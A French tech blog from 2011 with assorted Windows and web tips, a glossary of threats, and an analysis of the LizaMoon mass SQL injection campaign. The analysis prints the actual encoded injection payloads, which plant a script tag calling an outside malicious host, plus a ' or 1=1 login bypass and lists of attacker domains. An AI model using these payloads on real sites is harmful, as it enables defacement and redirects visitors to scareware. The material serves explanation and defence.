28 avr. 2011

[astuce] Optimiser le chargement de jQuery

jQuery est une librairie javascript très populaire sur le web. Mais si beaucoup de site l'utilisent, celà implique qu'à chaque nouveau site visité le framework est re-téléchargé à chaque fois, et stocké dans le cache individuellement pour chaque site.

La solution est que tout le monde utilise une même adresse pour jQuery, plutot que chaque site l'héberge à sa sauce. Ceci améliorera l'expérience utilisateur, car il n'aura en général pas besoin de télécharger le framework, et on aura une utilisation intelligente du cache du navigateur.

Evidemment, il n'est pas conseillé de faire ceci si on a besoin d'une version spécifique de jQuery.

Pour mettre à bien ceci, je vous conseil ce code, qui utilise le jQuery fourni par Google Code, et si le téléchargement échoue utilisera en second lieu votre fichier jQuery :

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js">
<script type="text/javascript">
// < ![CDATA[ if (typeof jQuery == 'undefined')
{
    document.write(unescape("%3Cscript src='http://www.monsite.com/js/jquery.min.js' type='text/javascript'%3E%3C/script%3E"));
}
// ]]>
</script>

27 avr. 2011

[test] Windows 8 milestone 1

J'ai testé pour vous Windows 8 Milestone 1.

J'ai été surpris au début par la ressemblance avec Windows 7. Puis dès le début de l'installation, il est bien question de Windows 7 et non pas de Windows 8. Mais je décide de continuer.

Surprise, je trouve un Windows 7, avec pour seule différence notable, notre avatar par défaut en icône-tiroir.

Pourtant la version installée semble être une Windows 7 Enterprise x86 English.

En regardant de plus prêt, il s'agit bel et bien d'une version intermédiaire :

Windows 6.1 (Build 7850.0.x86fre.winmain_win8m1.100922-1508).

Cette version n'offre que peu de fonctionnalités nouvelles.


- avatar dans la barre de tâche

- un bouton "dossier parent" à gauche de la barre d'adresse de l'Explorateur
- des boutons pour changer l'affichage du contenu de l'Explorateur en statusbar
- les titres des fenêtres sont centrés
- les boutons réduire/restaurer/maximiser/fermer légèrement changés
- les boutons sont aplatis (flat)


Autant dire que la version qui circule sur les réseaux P2P sont loin de la version finale.

20 avr. 2011

[décryptage] Les différentes menaces informatique d'hier et d'aujourd'hui


Voici une liste exhaustive avec leur description des menaces d'hier et d'aujourd'hui...

Nom anglaisNom françaisFonctionnement/but      Comment l'attrape-t-on ?
0dayfaille 0dayFaille dont un exploit a été publié le jour même, et donc exploitable avant qu'un correctif ne soit publié ou que les antivirus soient capables de le détecter. Voir exploit, flaw.
adwarelogiciel publicitaire (publiciel)Logiciel qui affiche des publicités intempestives, ou ajoute des barres dans le navigateur, et dont on ne vous a pas laissé la possibilité de refuser l'ajout. Voir popup.Exécution du fichier
ARP poisoning (ARP spoofing)empoisonnement ARPProgramme qui envoie de fausses informations ARP sur un réseau local afin d'usurper une IP, afin de détourner, corrompre, bloquer le trafic de l'IPDans un réseau local
AutoRunAutoRunProgramme qui utilise le démarrage automatique de média, généralement sur clé USB pour infecter la machine.Insertion d'une clé USB/CD/Disque externe ou parcours d'un partage réseau infecté
backdoorporte dérobéeFaille de sécurité dans un système, afin qu'une personne mal attentionnée puisse entrer dans le systèmeUtilisation d'un système/logiciel vérolé ou non à jour
botrobotProgramme automatisé installé sur une machine, qui la rend manipulable de l'extérieur, généralement pour effectuer des DOS ou des campagnes de spam.Exécution du fichier
botnetréseau de PC zombieRéseau formé de milliers de bots, voir bot.
cookiecookieFichier texte, qui n'est pas une menace. Il permet de stocker des informations sur notre visite d'un site (se souvenir de nous afin de garder notre panier, rester connecter au site…) et tracer notre visite afin d'afficher des publicités ciblées.Sur un site
crackcrackLogiciel permettant de modifier un autre logiciel installé dans la machine, afin de pouvoir l'utiliser sans avoir à acheter de licence légale. Voir keygen.Exécution du fichier
crimewarelogiciel criminelLogiciel dont le but est de voler une identité.Exécution du fichier
DDOSDéni de service distribuéAttaque DOS à grande échelle, en utilisant plusieurs machines sources. Voir DOS.Service réseau
defacingdéfacemment/ défigurationConsiste à modifier la page d'accueil d'un site web que l'on vient de pirater, afin d'y inscrire le nom du pirate ou un slogan.Sur un site
dialernuméroteurProgramme qui utilise le modem de l'ordinateur afin d'appeler des numéros surtaxés, pour enrichir les pirates.Exécution du fichier
DNS poisoning (DNS spoofing)empoisonnement DNSAttaque de serveurs DNS afin de faire passer de fausses requêtes pour des requêtes valides faisant autorité, faussant les résultats DNS des internautes. Voir phishing, pharming.Sur Internet
DOS (deny of service)Déni de serviceAttaque réseau dont le but est d'envoyer assez de requêtes pour surcharger un serveur afin qu'il s'écrouleService réseau
dropperFichier conteneur, servant à transporter la menace, généralement un virus.Exécution du fichier
exploitexploitCode écrit spécifiquement afin d'exploiter une faille de sécurité. Voir flaw.
fakeAVfaux antivirusLogiciel se disant antivirus gratuit : il détecte des virus qui n'en sont pas pour effrayer le visiteur d'un site, vous demande de télécharger la version gratuite. Puis après un scan, il détecte encore plus de virus, et vous demande d'acheter la version payante pour supprimer ces virus.Exécution du fichier
false positivefaux positifFichier qui a été considéré comme menace par un anti-virus, alors que le fichier est sûr.
flaw (vulnerability)faille (vulnérabilité)Logiciel, système d'exploitation ou tout autre matériel électronique qui possède une brèche, c’est-à-dire qui peut avoir un comportement inattendu lorsque l'on envoie certaines données spécifiques parce que ce logiciel n'a pas prévu ce cas. Ce comportement peut être ensuite utilisé à des fins de piratage. Une mise à jour est nécessaire pour combler une faille. Voir exploit.
floodinondationAction d'envoyer en répétition un message sur IRC pour rendre un channel impossible à suivre.Sur un serveur de chat
Google bombingTechnique consistant à modifier une réponse de Google en ajoutant dans des milliers de sites, un message avec un lien. Ce lien à pour texte, les termes de recherche Google, et pour adresse, le site qui s'affichera si on clique sur le résultat Google.Sur Google
hacktoolprogramme de piratageProgramme fournissant des outils pour pirater (comprendre attaquer) des machines ou des serveurs.Exécution du fichier
hoaxcanularGénéralement une chaîne de mail vous annonçant qu'un service va devenir payant ou une autre rumeur, et vous demandant d'envoyer ce message à tous vos amis pour soutenir l'opération.Laisser son adresse e-mail
honey potpot de mielServeur, service, espace disque… vaguement protégé, dont le but est de piéger les pirates. C'est un appât que l'on surveille soit pour surveiller un groupe pirate particulier, soit pour faire miroiter les pirates. Utilisé par les grandes sociétés contre l'espionnage industriel.Sur Internet
HPP (http parameters pollution)pollution des paramètres httpAttaque dont on insère un paramètre inattendue dans une URL, que l'on distribue. Les usagers qui ouvrent la page affichent une page dont les formulaires peuvent être corrompus.Cliquer sur un lien
IP spoofingusurpation d'adresse IPTechnique qui consiste à envoyer des paquets sur le réseau, en spécifiant en IP source une IP qui n'est pas la nôtre.Dans un réseau local ou Internet
keygengénérateur de cléProgramme capable de générer une clé valide pour un logiciel afin d'activer ce logiciel sans payer de licence légale. Certains keygen embarquent des virus avec eux. Voir crack.Exécution du fichier
keylogger (keystroke logger)Ecouteur de frappe au clavierProgramme espion qui écoute le clavier afin de mémoriser tout le texte tapé, pour voler les mots de passe ou numéro de carte bancaire. Voir spyware.Exécution du fichier
macromacroFonctions des logiciels Office tels que Word, Excel, Powerpoint, Access, qui permettent d'exécuter du code, qui peut être malicieux. Voir malicious code.Exécution du fichier Office
malicious codecode malicieuxvoir ver.
malwarelogiciel malveillant (maliciel)Ensemble des menaces
Packet fragment (threadop)fragmentation de paquetAttaque par déni de service en envoyant des paquets fragmentés qui peuvent être mal gérés par certains SE. Voir PoD.Dans un réseau local ou Internet
password crackcrack de mot de passeLogiciel permettant de retrouver le mot de passe d'un fichier crypté, d'une archive cryptée, d'un fichier Office crypté, des mots de passe sauvegardés dans le système, mot de passe sauvegardés dans les navigateurs ou tout autre logiciels, mot de passe d'un réseau wifi (clé WEP/WPA) ...Exécution du fichier
pharmingdévoiementTechnique qui redirige les requêtes DNS (généralement en modifiant les paramètres réseaux) vers un serveur DNS frauduleux, qui renverra des réponses DNS qui renvoient vers des sites frauduleux. Voir phishing, DNS poisoning.Dans un réseau local, puis sur Internet
phishinghameçonnageSite ou message se faisant passer pour une personne ou société honnête. Généralement on reçoit un mail d'une banque nous indiquant de mettre à jour nos informations bancaire en cliquant sur un lien. On arrive sur une page ressemblant à la page de la dite banque, mais les informations tapées seront utilisées par les pirates pour retirer de l'argent sur votre vrai compte. Voir scam.Cliquer sur un lien
ping floodinondation par pingAttaque par déni de service en envoyant un grand nombre de paquet ICMP de type PING. Il faut envoyer plus de paquets que la connexion de la machine de destination est capable d'en recevoir, la machine n'a plus de bande passante disponible. Voir DoS, UDP flooding.Sur Internet
PoD (ping of death)ping de la mortAttaque par déni de service en envoyant des paquets invalides ICMP de type PING qui pouvait provoquer un crash des vieux SE. Voir Packet fragment.Dans un réseau local ou Internet
popupfenêtre surgissanteFenêtre qui s'ouvre au début, ou pendant, ou à la fermeture d'une page web, généralement de la publicité. Voir adware, fakeAV.Sur un site
rogue softwarelogiciel escrocLogiciel qui vol des fichiers, et demande une rançon en l'échange de fonctionnalités, généralement désinfecter des fichiers, décrypter des fichiers… Voir fakeAV, scareware.Exécution du fichier
rootkitmouchardProgramme qui s'installe dans le noyau du système, où il peut résider caché. Il intercepte les fonctions de base du système pour les remplacer.Exécution du fichier
scamescroquerieMessage vous demandant une petite somme d'argent, contre une promesse d'une grosse somme d'argent, par exemple "vous avez gagné". Voir phishing.Laisser son adresse e-mail
scarewarelogiciel nuisiblevoir faux-antivirus.Exécution du fichier
SEO poisoningempoisonnement de référencementTechnique permettant de modifier illégalement le positionnement d'un site Internet dans les moteurs de recherche.Sur un site
smurfingsmurfingAttaque par déni de service en envoyant des paquets ICMP broadcast avec comme IP de destination, l'IP source, ce qui a pour effet de créer un déni de service dans tout le réseau. Voir DoS.Dans un réseau local
spamcourrier indésirable (ou pourriel)Message électronique contenant généralement de la publicité que l'on reçoit dans notre boîte et dont on n'arrive pas à se désabonner.Laisser son adresse e-mail
spywarelogiciel espion (espiogiciel)Logiciel dont le but est d'espionner la personne, afin d'en récupérer des informations telles que des mots de passe ou numéro de carte bancaire. Voir keylogger.Exécution du fichier
SQL injectioninjection SQLAttaque utilisant une faille de sécurité d'un serveur web, en insérant une donnée spéciale qui change le comportement d'une requête SQL, afin généralement d'usurper une identité ou de récupérer le contenu d'une tableServeur web avec base de données
SYN floodinondation de la couche TCPAttaque par déni de service en envoyant un grand nombre de paquet TCP de type SYN, indiquant une volonté de créer une nouvelle connexion TCP, mais l'attaquant n'y répond pas. Le serveur se retrouve avec des milliers de connexions en cours de création. Le serveur ne pourra plus créer de nouvelles connexions. Voir DoS.Dans un réseau local ou Internet
trojan (horse)troyen (cheval de Troie)Programme qui n'effectue pas l'opération qu'il est censé effectuer. Généralement sans se faire détecter, il ouvre une backdoor. Voir backdoor.Exécution du fichier
trojan Downloadertéléchargeur de troyenProgramme léger dont le but est de télécharger et exécuter un ou plusieurs troyen. Voir trojan.Exécution du fichier
UDP flooding (fraggle attack)inondation par paquet UDPAttaque par déni de service en envoyant un grand nombre de paquet UDP, pour créer un UDP Packet Storm ce qui créé une congestion réseau car les paquets UDP sont prioritaires et n'ont pas de gestion de congestion, à l'instar des paquets TCP. La machine cible n'a plus de bande passante TCP disponible. Voir DoS, ping flood.Dans un réseau local ou Internet
virusvirusProgramme dont le but premier est de se répliquer soit en infectant les autres fichiers de la machine, soit en s'envoyant aux contacts de l'utilisateur, par exemple par mail. La plupart du temps, ils essaient de nuire.Exécution du fichier
wabbitautorépliquantProgramme qui s'autoréplique jusqu'à saturation du disque dur. Voir virus.Exécution du fichier
wardrivingattaque en mobilitéAttaque en déplacement, généralement dans une voiture (d'où son nom), dont le but est de pirater des réseaux Wifi. Voir password cracking.En Wifi
wormverCode malicieux qui utilise une faille de sécurité (initialement les failles des logiciels de messagerie) pour s'exécuter sur la machine cible. Le but est généralement de nuire, se répliquer, voler des informations…Sur un site, ouverture d'un média (e-mail, image, vidéo, musique, flash...) infecté via un programme non mis à jour
XSS (cross site scripting)script de sites croisésAttaque dont le but est de récupérer des données d'un site via une faille dite XSS. Le site A affiche des données d'un site B, mais le site B affiche des données formatées spécifiquement pour que le pirate récupère les informations du site A, généralement les cookies. Voir cookie.Serveur web

17 avr. 2011

[astuce] Ne plus proposer de passer par le service web pour l'association de fichiers

Lorsque vous tenter d'ouvrir un fichier dont le type est inconnu ou dont l'extension n'est associée à aucun programme, Windows XP et supérieurs affichent une fenêtre :
Or, 99% du temps nous choisissons toujours la même option : "Sélectionner un programme". A quoi bon passer encore par cette bonne fenêtre pour proposer un service web qui ne donne gère de résultats ?

La solution est de modifier une clé dans le registre : changez la valeur de NoInternetOpenWith de la clé HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer à la valeur 1. Si elle n'existe pas, créez la valeur REG_DWORD NoInternetOpenWith à 1.

Cette astuce fonctionne sous Windows Xp, Vista, Seven.

13 avr. 2011

[astuce] Accélérer l'affichage des vignettes dans Windows 7

Vous pouvez accélérer l'affichage des vignettes de prévisualisation de la barre de tâche de Windows 7 :
Par défaut, la vignette s'affiche 400 millisecondes après avoir posé la souris sur la tâche, vous pouvez changer cette valeur.
Windows permet de changer beaucoup de paramètre de la souris depuis le panneau de configuration, mais pas celle là.

Pour ce faire, rien de plus simple, il faut changer la valeur de la clé :
HKCU\Control Panel\Mouse\MouseHoverTime. Je préconise 100 ms.

Autre point concernant ces vignettes, il est possible de changer leur taille par défaut à l'aide de Windows 7 Big Task Preview (gratuit, lancez-le et redémarrez), ou plus personnalisable encore le Windows 7 Taskbar Thumbnail Customizer.

Et si vous voulez personnaliser la vignette de votre application, je vous suggère ceci.

11 avr. 2011

[test] Windows 7 Remote Server Administration Tools

Vendredi était mis en ligne le SP1 du Remove Server Administration Tools pour Windows 7, disponible en 19 langues. J'en profite pour faire un tour d'horizon de RSAT. Cet outil permet d'administrer les serveurs, de Windows Server 2003 à 2008 R2, dans le même domaine/groupe de travail que le poste client. Il ajoute les MMC principales d'administration de serveurs et de domaines.

Installation se fait en deux étapes :
1) Télécharger Win7 RSAT SP1 (~300 Mo, français, x86/x64) et installer. Redémarrer.
2) Panneau de configuration > Programmes > Activer ou désactiver des fonctionnalités Windows :
Cochez les fonctions que vous souhaitez administrer à distance. OK. Redémarrer.

Vous trouverez dans le menu démarrer de votre Windows 7 un menu "Outils d'administration" :
Comme sur Windows Server 2003-2008, ce sont des composants enfichables pour MMC (certains composants ne fonctionnent que pour Windows Server 2008 voire Windows Server 2008 R2).

Voici la liste des MMC:
en gris, les composants qui existaient avant cette mise à jour ;
en italique, les composants qui affichent les données locales et non distantes.
Gestionnaire de bureau à distance TSE, Analyseur de performance (perfmon), Autorité de certification, Centre d'Administration Active Directory (2008), Configuration du système (msconfig), DHCP, Diagnostic de mémoire Windows, DNS, Domaines et approbations Active Directory, Explorateur de stockage, Gestion de l'impression, Gestion de l'ordinateur, Gestion de répondeurs en ligne de révocation de certificats, Gestion des stratégies de groupe, Gestion du partage et du stockage (2008), Gestion du système de fichier distribué DFS, Gestionnaire d'équilibrage de charge réseau, Gestionnaire de ressources du serveurs de fichiers (2008), Gestionnaire de ressource système Windows wsrm (2008), Gestionnaire de serveur (2008), Gestionnaire de stockage pour réseau SAN (2008), Gestionnaire des services Internet (IIS), Gestionnaire du cluster de basculement, Gestionnaire Hyper-V (2008), Gestionnaire iSCSI, Modifications ADSI, Module Active Directory pour Powershell, Observateurs d'évènements, Pare-feu Windows, Planificateur de tâche, Services et composants, Services, Sites et services Active Directory, Source de données ODBC, Stratégie de sécurité locale, Utilisateurs et ordinateurs Active Directory, Windows Powershell Modules.

10 avr. 2011

[astuce] Installez Flash en 64 bits !

Saviez-vous que le plugin Flash existe en version 64 bits ? Sous Windows, Internet Explorer 7, 8 et 9 existent en version 64 bits, il serait dommage de ne pas en profiter.

Pour installer Flash en 64 bits, désinstaller la version actuelle, et téléchargez la nouvelle ici. Curieusement, la version x64 indiquée est (à l'heure où j'écris ces lignes) la 10.1, mais une fois installée il s'agit de la version 10.3.162.28 !

Évidemment, vous devez lancer un navigateur 64 bits pour en profiter. Il n'est pas possible de définir Internet Explorer x64 comme navigateur par défaut (parce qu'il n'est pas totalement approuvé par Microsoft).
 Il existe une solution sous Windows Vista (qui ne fonctionne pas sous Seven) :
- Dans le menu démarrer, recherchez "Programmes par défaut"
- Choisir "Associer des types de fichiers et des protocoles"
- Choisir HTTP, cliquer sur changer, puis parcourir vers c:\program files\internet explorer\iexplore.exe.
Une solution barbare consiste à écraser le répertoire c:\program files (x86)\internet explorer par son équivalent 64 bits de c:\program files\internet explorer.

 Sous Seven (écran à gauche), n'est visible que Internet Explorer 32 bits...

7 avr. 2011

[décryptage] Injection SQL LizaMoon

Tout le monde en parle, mais concrètement, qu'est-ce que LizaMoon ?

Partons sur de bonnes bases. Qu'est-ce qu'une injection SQL ?
Une injection SQL est une méthode d'attaque d'un site web dynamique, dont le but est de modifier une requête SQL appelée par une page web. Pour cela, il faut corrompre la requête web GET ou POST, en insérant des valeurs inattendues dans les champs.
Prenons un exemple:
Vous avez une page d'identification, avec un champ identifiant et un champ mot de passe.
Votre table user en base de données possède un champ login et password.
Pour identifier l'utilisateur, votre page web va vérifier le couple login,password avec les valeurs fournies par l'utilisateur : identifiant,mot de passe. Pour cela, on utilise une requête SQL par exemple: "SELECT * FROM user WHERE login = '$ident' AND pass = '$passe';";
Jusque là, tout va bien. Mais que se passe-t-il si l'utilisateur "admin" entre comme mot de passe la chaine suivante : ' or 1=1
La clause WHERE de la requête devient login = 'admin' AND pass = '' or 1=1; ce qui implique que la requête est toujours vraie, et l'utilisateur est alors connecté avec le premier compte de la base de donnée, généralement l'administrateur. Ceci est un exemple simple, qui est protégé nativement dans PHP grâce aux magic quotes, qui remplace les apostrophes, guillemets et anti-slashs. Il existe une multitude de variantes d'injection SQL : cet exemple montre l'usurpation, mais on peut aussi récupérer le contenu d'une table, ou ajouter un code html dans un champ, qui sera ensuite affiché aux visiteurs, comme LizaMoon...

Revenons à ce qui nous intéresse. LizaMoon.
LizaMoon est le nom donnée à une attaque de grande ampleur par injection SQL (Mass SQL Injection Attack), baptisée ainsi au nom du premier site appartenant aux pirates détecté. Cette attaque a démarré le 25 mars 2011, a été repérée par Websense Security Labs le 29 mars où 28 000 sites seraient concernés au moment de la détection, 380 000 le lendemain. Au 5 avril, ce nombre passait à plus de 500 000, dont la moitié des sites sont étasuniens. LizaMoon, similaire à l'attaque "Gumblar" (Gumblar.cn/Martuz.cn, Troj/JSRedir-R), est considéré par certains comme étant la plus grande attaque par injection SQL jamais réalisée.
LizaMoon utilise une faille jusque là inexploitée et encore inconnue, qui permet d'injecter du contenu dans la base SQL du serveur. Il ne s'agit pas d'une faille XSS comme certains le prétendent. Le ou les pirates s'en sont servis pour rediriger tous les visiteurs des sites infectés vers un de leurs nombreux sites (listés plus bas), faisant la promotion d'un soi disant antivirus (un scareware), qui n'est évidemment qu'une méthode pour extorquer de l'argent à l'internaute mal informé. La redirection s'est faite par l'insertion d'une balise <script src=... />. Une simple requête de "<script src=http://*/ur.php" sur google permet de voir l'étendue des dégâts, retournait 1,5 million de résultats il y a quelques jours, 700 000 aujourd'hui.

Détails sur l'injection SQL.
Cette injection SQL a été conçue pour les pages ASP utilisant une base de données Microsoft SQL Server (toutes versions confondues). Il ne s'agit pas d'une faille de sécurité de Microsoft SQL Server, mais bien d'une injection SQL, donc d'une erreur du développeur de la page ASP. L'attaque se base sur 2 injections possibles, permettants l'insertion de la balise script malicieuse:
+update+Table+set+FieldName=REPLACE(cast(FieldName+as+varchar(8000)),cast(char(60)%2Bchar(47)
%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)
%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)
%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)
%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)
%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)
%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)
%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)
%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)
+as+varchar(8)))--
Ce qui correspond à : +update+Table+set+FieldName=REPLACE(cast(Forename+as+varchar(8000)) ,cast(</title><script src=http://google-stats49.info/ur.php>+as+varchar(8000)),cast(char(32)+as+varchar(8)))--.
ou...
surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+ as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar( 108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2B char(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(10 4)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bch ar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(11 6)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bcha r(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112) %2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar( 114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+v archar(8)))--
Ce qui correspond à : surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+ as+varchar(8000)),cast(</title><script src=http://google-stats49.info/ur.php> +as+varchar(8000)),cast(char(32)+as+v archar(8)))--.
Cette valeur est inscrite dans un champ de la base de données, qui est utilisé dans le titre de la page (d'où le </title>). Le titre est donc fermé immédiatement, et est suivie par le script. Le navigateur voit un titre vide, puis un script à exécuter. Le nom de la table et du champ est spécifique pour chaque site, contrairement à l'attaque de 2008 qui était générique, opéré depuis des botnets, et ayant affectés 50 000 ip uniques.
Ces valeurs ont été découvertes dans les fichiers de log de serveurs IIS. Les requêtes n'ont pas été bloquées par les filtres htaccess ou équivalent pour IIS, puisque le mot clé script n'apparait pas en clair dans l'URL. Ici l'URL est google-stats49.info/ur.php, mais il y en a plein d'autre (voir ci-dessous), mais c'est worid-of-books.com/ur.php qui a été la plus utilisée près de 50% des cas. Tous ces sites sont bloqués par Google comme l'indique la page de blocage de Firefox 4 :
lizamoon.com/ur.php
worid-of-books.com/ur.php
tadygus.com/ur.php
alexblane.com/ur.php
alisa-carter.com/ur.php
online-stats201.info/ur.php
stats-master111.info/ur.php
agasi-story.info/ur.php
general-st.info/ur.php
extra-service.info/ur.php
t6ryt56.info/ur.php
sol-stats.info/ur.php
google-stats49.info/ur.php
google-stats45.info/ur.php
google-stats50.info/ur.php
stats-master88.info/ur.php
eva-marine.info/ur.php
stats-master99.info/ur.php
google-server43.info/ur.php
tzv-stats.info/ur.php
milapop.com/ur.php
pop-stats.info/ur.php
star-stats.info/ur.php
multi-stats.info/ur.php
google-stats44.info/ur.php
books-loader.info/ur.php
google-stats73.info/ur.php
google-stats47.info/ur.php
google-stats50.info/ur.php
Ci-dessous le code d'une page ur.php. Ce code est très simple, il redirige vers le scareware (fakeAV) : "Windows Stability Center". Il propose de télécharger le fichier freesystemscan.exe (md5: 815d77f8fca509dde1abeafabed30b65).

Ce téléchargement se fait depuis l'ip 46.252.130.200 ou 84.123.115.228 (qui est utilisée par une multitude de nom de domaine, tous en .co.cc (île australienne) ou .in (inde), dont les noms de domaines ont été enregistrés via une adresse Gmail unique générée aléatoirement.


Sources: Websence Security Labs, blog de Dancho Danchev, stackoverflow.com, zastita.com.

6 avr. 2011

[snippet] Lister les fichiers ouverts sur un serveur distant

Parfois il peut être utile de voir la liste des fichiers ouverts sur un serveur, sans forcément y ouvrir une session pour obtenir cette liste.
C'est possible facilement, grâce au programme psfile (disponible ici).


Syntaxe :
psfile.exe \\ip -u login -p password chemin|descid

Couplé avec un bout de powershell, et on peut filtrer les résultats, par exemple, tous les fichiers Excel...
.\psfile.exe \\10.10.0.253 | foreach-Object { if($_.StartsWith("[") -and $_.EndsWith(".xls")) { echo $_ } }
On peut également fermer les fichiers que l'on souhaite grâce à l'option -c.

5 avr. 2011

[snippet] Comment sélectionnez tous ses amis sur Facebook d'un coup ?

Petite astuce, pour les spammeurs : comment sélectionnez tous ses amis d'un coup, pour les inviter à un truc qui ne les intéresse pas ? Plus besoin de massacrer sa souris. Il suffit de copier/coller le code javascript suivant dans la barre d'adresse et d'appuyer sur Entrée.

Anciennement, le code était :
javascript:elms=document.getElementById('friends').getElementsByTagName('li');for(var fid in elms){if(typeof elms[fid] === 'object'){fs.click(elms[fid]);}}

Mais Facebook évolue tous les jours. Voici une nouvelle version du code fonctionnel :
javascript:elms=document.getElementsByName("checkableitems[]");for (i=0;i<elms.length;i++){if (elms[i].type="checkbox" )elms[i].click()};

Enjoy !